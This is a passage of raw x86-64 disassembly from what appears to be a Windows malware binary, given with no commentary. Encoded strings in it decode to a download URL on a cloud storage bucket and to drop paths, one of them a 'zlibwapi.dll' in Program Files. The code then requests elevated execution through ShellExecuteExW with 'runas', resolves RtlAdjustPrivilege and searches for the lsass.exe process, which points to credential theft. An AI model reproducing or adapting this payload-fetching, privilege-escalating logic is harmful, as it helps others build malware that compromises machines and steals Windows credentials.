mov dword [rbp + 0x488], 0x720050
mov dword [rbp + 0x48c], 0x67006f
mov dword [rbp + 0x490], 0x610072
mov dword [rbp + 0x494], 0x20006d
mov dword [rbp + 0x498], 0x690046
mov dword [rbp + 0x49c], 0x65006c
mov dword [rbp + 0x4a0], 0x5c0073
mov dword [rbp + 0x4a4], 0x7a005c
mov dword [rbp + 0x4a8], 0x69006c
mov dword [rbp + 0x4ac], 0x770062
mov dword [rbp + 0x4b0], 0x700061
mov dword [rbp + 0x4b4], 0x2e0069
mov dword [rbp + 0x4b8], 0x6c0064
mov dword [rbp + 0x4bc], 0x6c
mov dword [rbp + 0x4c0], 0x740068
mov dword [rbp + 0x4c4], 0x700074
mov dword [rbp + 0x4c8], 0x3a0073
mov dword [rbp + 0x4cc], 0x2f002f
mov dword [rbp + 0x4d0], 0x350031
mov dword [rbp + 0x4d4], 0x750030
mov dword [rbp + 0x4d8], 0x610070
mov dword [rbp + 0x4dc], 0x640069
mov dword [rbp + 0x4e0], 0x6f002e
mov dword [rbp + 0x4e4], 0x730073
mov dword [rbp + 0x4e8], 0x63002d
mov dword [rbp + 0x4ec], 0x2d006e
mov dword [rbp + 0x4f0], 0x6f0068
mov dword [rbp + 0x4f4], 0x67006e
mov dword [rbp + 0x4f8], 0x6f006b
mov dword [rbp + 0x4fc], 0x67006e
mov dword [rbp + 0x500], 0x61002e
mov dword [rbp + 0x504], 0x69006c
mov dword [rbp + 0x508], 0x750079
mov dword [rbp + 0x50c], 0x63006e
mov dword [rbp + 0x510], 0x2e0073
mov dword [rbp + 0x514], 0x6f0063
mov dword [rbp + 0x518], 0x2f006d
mov dword [rbp + 0x51c], 0x700075
mov dword [rbp + 0x520], 0x690061
mov dword [rbp + 0x524], 0x2e0064
mov dword [rbp + 0x528], 0x780076
mov dword [rbp + 0x52c], 0x67
mov dword [rbp + 0x340], 0x3a0043
xor ebx, ebx
mov dword [rbp + 0x344], 0x5c005c
lea rdx, [rbp + 0x380]
mov word [rbp + 0x378], bx
lea rcx, [rbp + 0x530]
mov dword [rbp + 0x348], 0x720050
mov dword [rbp + 0x34c], 0x67006f
mov edi, 0x70
mov dword [rbp + 0x350], 0x610072
mov dword [rbp + 0x354], 0x20006d
mov dword [rbp + 0x358], 0x690046
mov dword [rbp + 0x35c], 0x65006c
mov dword [rbp + 0x360], 0x5c0073
mov dword [rbp + 0x364], 0x75005c
mov dword [rbp + 0x368], 0x610070
mov dword [rbp + 0x36c], 0x640069
mov dword [rbp + 0x370], 0x76002e
mov dword [rbp + 0x374], 0x670078
call fcn.1400018b0
lea rdx, [rbp + 0x3c0]
lea rcx, [rbp + 0x5b0]
call fcn.1400018b0
lea rdx, [rbp + 0x400]
lea rcx, [rbp + 0x630]
call fcn.1400018b0
lea rdx, [rbp + 0x440]
lea rcx, [rbp + 0x6b0]
call fcn.1400018b0
lea rdx, [rbp + 0x480]
lea rcx, [rbp + 0x730]
call fcn.1400018b0
lea rdx, [rbp + 0x340]
lea rcx, [rbp + 0x4c0]
call fcn.1400018b0
lea rdx, [rsp + 0x50]
lea rcx, [rsp + 0x20]
call fcn.140003990
lea rdx, [rbp - 0x10]
lea rcx, [rbp - 0x40]
call fcn.140003990
cmp qword [rsp + 0x38], 7
lea rdx, [rsp + 0x20]
lea rcx, [rbp - 0x40]
cmova rdx, qword [rsp + 0x20]
cmp qword [rbp - 0x28], 7
cmova rcx, qword [rbp - 0x40]
call fcn.1400018b0
mov rsi, qword [rbp - 0x50]
mov r14, qword [rsp + 0x40]
test al, al
je 0x1400033a7
cmp qword [rsp + 0x38], 7
lea rax, [rsp + 0x20]
xorps xmm0, xmm0
mov dword [rbp - 0x10], edi
cmova rax, qword [rsp + 0x20]
xor ecx, ecx
mov qword [rbp + 0x54], rcx
mov dword [rbp + 0x5c], ecx
lea rcx, str.runas
movups xmmword [rbp - 0xc], xmm0
mov qword [rbp - 8], rbx
movups xmmword [rbp + 4], xmm0
mov qword [rbp], rcx
lea rcx, [rbp - 0x10]
movups xmmword [rbp + 0x14], xmm0
mov qword [rbp + 8], rax
movups xmmword [rbp + 0x24], xmm0
mov dword [rbp + 0x20], 1
movups xmmword [rbp + 0x34], xmm0
movups xmmword [rbp + 0x44], xmm0
call qword [sym.imp.SHELL32.dll_ShellExecuteExW]
mov rdx, qword [rbp - 0x28]
cmp rdx, 7
jbe 0x1400033e3
mov rcx, qword [rbp - 0x40]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400033de
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x14000342c
call fcn.1400079fc
mov rdx, qword [rsp + 0x38]
mov qword [rbp - 0x30], rbx
mov qword [rbp - 0x28], 7
mov word [rbp - 0x40], bx
cmp rdx, 7
jbe 0x140003438
mov rcx, qword [rsp + 0x20]
lea rdx, [rdx*2 + 2]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140003433
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x140003433
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.1400079fc
mov rax, qword [rsi]
mov edx, 1
mov rcx, rsi
call qword [rax + 0x18]
test r14, r14
je 0x14000347f
mov rdx, qword [rbp + 0x78]
mov rax, r14
sub rdx, r14
cmp rdx, 0x1000
jb 0x140003477
mov r14, qword [r14 - 8]
add rdx, 0x27
sub rax, r14
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035f7
mov rcx, r14
call fcn.1400079fc
lea rcx, [rbp + 0xe0]
call fcn.140003c50
mov rcx, qword [rbp + 0x80]
test rcx, rcx
je 0x1400034dd
mov rdx, qword [rbp + 0x90]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400034c6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035f7
call fcn.1400079fc
xorps xmm0, xmm0
mov qword [rbp + 0x90], rbx
movdqu xmmword [rbp + 0x80], xmm0
mov rcx, qword [rbp + 0x98]
test rcx, rcx
je 0x14000352f
mov rdx, qword [rbp + 0xa8]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x140003518
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035f7
call fcn.1400079fc
xorps xmm0, xmm0
mov qword [rbp + 0xa8], rbx
movdqu xmmword [rbp + 0x98], xmm0
mov rcx, qword [rbp + 0xb0]
test rcx, rcx
je 0x140003581
mov rdx, qword [rbp + 0xc0]
mov rax, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x14000356a
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400035f7
call fcn.1400079fc
xorps xmm0, xmm0
mov qword [rbp + 0xc0], rbx
movdqu xmmword [rbp + 0xb0], xmm0
mov rcx, qword [rbp + 0xc8]
test rcx, rcx
je 0x1400035bd
mov rdx, qword [rbp + 0xd8]
mov r8, rcx
sub rdx, rcx
cmp rdx, 0x1000
jb 0x1400035b8
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub r8, rcx
add r8, 0xfffffffffffffff8
cmp r8, 0x1f
ja 0x1400035f7
call fcn.1400079fc
mov eax, 1
mov rcx, qword [rbp + 0x7b0]
xor rcx, rsp
call fcn.1400073f0
lea r11, [rsp + 0x8d0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
movaps xmm6, xmmword [r11 - 0x10]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
lea rdx, str.Failed_to_load_necessary_libraries
lea rcx, [rbp + 0x68]
call fcn.140001390
lea rdx, [0x14003ffd8]
lea rcx, [rbp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
call fcn.140003f70
int3
call fcn.1400012d0
int3
lea rdx, str.Failed_to_load_ntdll.dll
lea rcx, [rbp + 0x68]
call fcn.140001390
lea rdx, [0x14003ffd8]
lea rcx, [rbp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Failed_to_get_RtlAdjustPrivilege_address
lea rcx, [rbp + 0x68]
call fcn.140001390
lea rdx, [0x14003ffd8]
lea rcx, [rbp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Failed_to_find_lsass.exe_process
lea rcx, [rbp + 0x68]
call fcn.140001390
lea rdx, [0x14003ffd8]
lea rcx, [rbp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
int3
lea rdx, str.Failed_to_get_function_addresses
lea rcx, [rbp + 0x68]
call fcn.140001390
lea rdx, [0x14003ffd8]
lea rcx, [rbp + 0x68]
call sub.VCRUNTIME140.dll__CxxThrowException
int3